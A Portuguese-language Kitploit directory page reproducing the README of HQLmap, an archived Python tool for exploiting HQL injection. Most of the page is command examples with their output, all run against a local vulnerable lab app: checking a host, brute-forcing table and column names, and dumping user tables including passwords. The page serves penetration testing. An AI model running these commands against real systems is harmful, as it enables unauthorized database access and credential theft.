Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
HQLmap — (Obsoleto) HQLmap, ferramenta automática para explorar injeções HQL | Kitploit
Ferramentas/GitHubGitHub/paulsec/hqlmap
Scanners de VulnerabilidadesExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoSegurança de Banco de DadosArchived
GitHubpaulsec/hqlmap

HQLmap

(Obsoleto) HQLmap, ferramenta automática para explorar injeções HQL

Ver Repositório
22843há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

HQLMap

Este projeto foi criado para explorar injeções HQL. A ferramenta foi escrita em Python e está licenciada sob a licença MIT. Desenvolvimento futuro: pretendo desenvolver um módulo específico para SQLmap.

Onde você pode testar a ferramenta?

Se você quiser um ambiente vulnerável rápido onde possa testar a ferramenta, recomendo usar o RopeyTasks: https://github.com/continuumsecurity/RopeyTasks/

Além disso, se você quiser mais informações sobre HQLi, veja este post do blog: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

Instalação

Para instalar este projeto, basta cloná-lo digitando:

root@kitploit:~
git clone [email protected]:PaulSec/HQLmap.git

Uso

Para usar este projeto, vá para o diretório:

root@kitploit:~
cd HQLmap

E execute o projeto:

root@kitploit:~
python HQLmap.py

O uso é então exibido:

root@kitploit:~
Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

Uso

Esta parte inclui diferentes cenários.

Verificando se o host é vulnerável

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

A saída é muito simples:

root@kitploit:~
Host seems vulnerable.

Verificando com POSTDATA

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

Enumerando tabelas

root@kitploit:~
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

Aqui está a saída:

root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

Ao realizar essa enumeração, o scanner usa o arquivo padrão para os nomes das tabelas, se não for especificado. O arquivo padrão é: db/tables.db

Enumerando colunas

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

Ao realizar essa enumeração, o scanner usa o arquivo padrão para os nomes das tabelas E para os nomes das colunas. Os arquivos padrão são:

Para tabelas: db/tables.db Para colunas: db/columns.db

Verificando a existência de uma tabela específica

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

E a saída:

root@kitploit:~
[-] Table foo does not exist.

Enumerando colunas de uma tabela específica

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

E a saída:

root@kitploit:~
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

Verificando a existência de uma coluna específica em uma tabela específica

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

E a saída:

root@kitploit:~
[!] Table User has been found.
[-] Column bar in User does not exist.

Opções de fingerprinting

Obtendo a contagem de uma tabela

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

Ou para todas as tabelas:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

E a saída:

root@kitploit:~
[!] Table User has been found.
[!] Count(*) of User : 3

Obtendo o usuário do banco de dados

Para realizar essa ação, você precisa especificar uma tabela (ou todas com a flag --tables) e adicionar a flag --user desta forma:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

E a saída (após alguns segundos):

root@kitploit:~
[!] Table User has been found.
[!] Username of Database found : SA

Para obter o usuário, implementei um algoritmo muito semelhante a uma dicotomia 'variável'.

Extraindo banco de dados

Todas as tabelas do banco de dados

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

E a saída:

root@kitploit:~
(redacted)
[Task]
  [Name]
     - Bob's shopping
     - Alice's shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

Tabela específica do banco de dados

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

E a saída:

root@kitploit:~
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O'Reilly
     - Reynolds

Coluna específica do banco de dados

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

E a saída:

root@kitploit:~
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

Conclusão (e Licença)

Sinta-se à vontade para dar feedback e pedir novos recursos.

Projeto lançado sob licença MIT.

Baixar ferramenta